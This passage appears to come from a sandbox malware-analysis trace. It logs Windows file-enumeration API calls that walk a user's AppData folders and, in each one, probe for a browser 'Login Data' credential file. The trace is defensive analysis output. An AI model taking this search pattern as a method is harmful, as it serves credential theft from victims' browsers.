dwReserved1=0x0, cFileName="9WZDNCRFHWKN.dat", cAlternateFileName="9W26ED~1.DAT")) returned 1 [0201.107] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5b1f5c1, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5b1f5c1, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5b1f5c1, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ140.dat", cAlternateFileName="9WZDNC~3.DAT")) returned 1 [0201.108] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc645c5f0, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc645c5f0, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc645c5f0, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ364.dat", cAlternateFileName="9W3A1B~1.DAT")) returned 1 [0201.108] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5d81c2b, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5d81c2b, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5d81c2b, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ3P2.dat", cAlternateFileName="9W8817~1.DAT")) returned 1 [0201.108] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc59a1e6c, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc59a1e6c, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc59a1e6c, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ3PM.dat", cAlternateFileName="9WZDNC~1.DAT")) returned 1 [0201.108] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5ed9134, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5ed9134, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5ed9134, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ3PR.dat", cAlternateFileName="9WFE0D~1.DAT")) returned 1 [0201.108] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5d5ba1d, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5d5ba1d, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5d5ba1d, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ3PT.dat", cAlternateFileName="9W54A4~1.DAT")) returned 1 [0201.108] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc632b506, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc632b506, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc632b506, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ3Q2.dat", cAlternateFileName="9WABF7~1.DAT")) returned 1 [0201.108] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5bde1bb, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5bde1bb, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5bde1bb, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ3T6.dat", cAlternateFileName="9W7114~1.DAT")) returned 1 [0201.108] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fbdda7, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5fbdda7, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5fbdda7, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJBBG.dat", cAlternateFileName="9W8A94~1.DAT")) returned 1 [0201.108] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5f25608, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5f25608, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5f25608, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJBD8.dat", cAlternateFileName="9W6489~1.DAT")) returned 1 [0201.108] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6410271, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc6410271, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc6410271, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJBH4.dat", cAlternateFileName="9W3EDB~1.DAT")) returned 1 [0201.108] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc62df03a, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc62df03a, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc62df03a, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJBMP.dat", cAlternateFileName="9WFCD7~1.DAT")) returned 1 [0201.109] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5b6ba69, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5b6ba69, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5b6ba69, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJBQ6.dat", cAlternateFileName="9WZDNC~4.DAT")) returned 1 [0201.109] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5b6ba69, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5b6ba69, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5b6ba69, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJBQ6.dat", cAlternateFileName="9WZDNC~4.DAT")) returned 0 [0201.109] FindClose (in: hFindFile=0x139aff8 | out: hFindFile=0x139aff8) returned 1 [0201.110] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.111] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cfd5892, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9b374a10, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x9b374a10, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b2b8 [0201.111] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cfd5892, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9b374a10, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x9b374a10, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.112] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc08468a, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0xc08468a, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0xc169496, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x19ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="brndlog.bak", cAlternateFileName="")) returned 1 [0201.112] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4354c7cc, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4354c7cc, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xcdb7df5a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x19ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="brndlog.txt", cAlternateFileName="")) returned 1 [0201.112] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e58e25, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x45e6c6af, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x45e6c6af, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOMStore", cAlternateFileName="")) returned 1 [0201.112] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4446aeac, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x4446aeac, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x4446aeac, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmieSiteList", cAlternateFileName="EMIESI~1")) returned 1 [0201.112] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4446aeac, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x4446aeac, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x4446aeac, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmieUserList", cAlternateFileName="EMIEUS~1")) returned 1 [0201.112] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4371635e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4371635e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xf03e1a39, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x476, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie4uinit-ClearIconCache.log", cAlternateFileName="IE4UIN~2.LOG")) returned 1 [0201.112] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cfd5892, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3cfd5892, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xcdb7df5a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie4uinit-UserConfig.log", cAlternateFileName="IE4UIN~1.LOG")) returned 1 [0201.112] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43087f08, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IECompatData", cAlternateFileName="IECOMP~1")) returned 1 [0201.112] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb1af8a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x447fe759, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x447fe759, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="imagestore", cAlternateFileName="IMAGES~1")) returned 1 [0201.112] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1092cc59, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x6b9a2df3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6b9a2df3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed DB", cAlternateFileName="INDEXE~1")) returned 1 [0201.112] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7a6cf3f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xf7a6cf3f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xf7a6cf3f, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0xbfe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSIMGSIZ.DAT", cAlternateFileName="")) returned 1 [0201.112] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4349f648, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x4349f648, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x5c26bd14, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0201.113] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43087f08, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabRoaming", cAlternateFileName="TABROA~1")) returned 1 [0201.113] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a5b1f55, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x5a5b1f55, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x5a72f6ee, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tiles", cAlternateFileName="")) returned 1 [0201.113] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43087f08, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tracking Protection", cAlternateFileName="TRACKI~1")) returned 1 [0201.113] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b374a10, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x9b374a10, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x9b374a10, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VersionManager", cAlternateFileName="VERSIO~1")) returned 1 [0201.113] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b374a10, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x9b374a10, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x9b374a10, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VersionManager", cAlternateFileName="VERSIO~1")) returned 0 [0201.113] FindClose (in: hFindFile=0x139b2b8 | out: hFindFile=0x139b2b8) returned 1 [0201.113] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.113] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e58e25, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x45e6c6af, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x45e6c6af, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b178 [0201.114] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e58e25, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x45e6c6af, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x45e6c6af, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.114] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x45e62a70, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x45e62a70, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x45e62a70, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0201.114] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6c6af, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x8cd0fdbe, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x8cd0fdbe, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JW094SOV", cAlternateFileName="")) returned 1 [0201.114] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6c6af, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x45e6c6af, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x45e6c6af, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KHCDOJTQ", cAlternateFileName="")) returned 1 [0201.114] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6c6af, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x45e6c6af, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x59b69c63, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROM18SK9", cAlternateFileName="")) returned 1 [0201.114] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6c6af, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x45e6c6af, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x45e6c6af, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RZ8OSEEE", cAlternateFileName="")) returned 1 [0201.114] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6c6af, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x45e6c6af, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x45e6c6af, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RZ8OSEEE", cAlternateFileName="")) returned 0 [0201.114] FindClose (in: hFindFile=0x139b178 | out: hFindFile=0x139b178) returned 1 [0201.114] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.115] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\JW094SOV\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6c6af, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x8cd0fdbe, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x8cd0fdbe, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 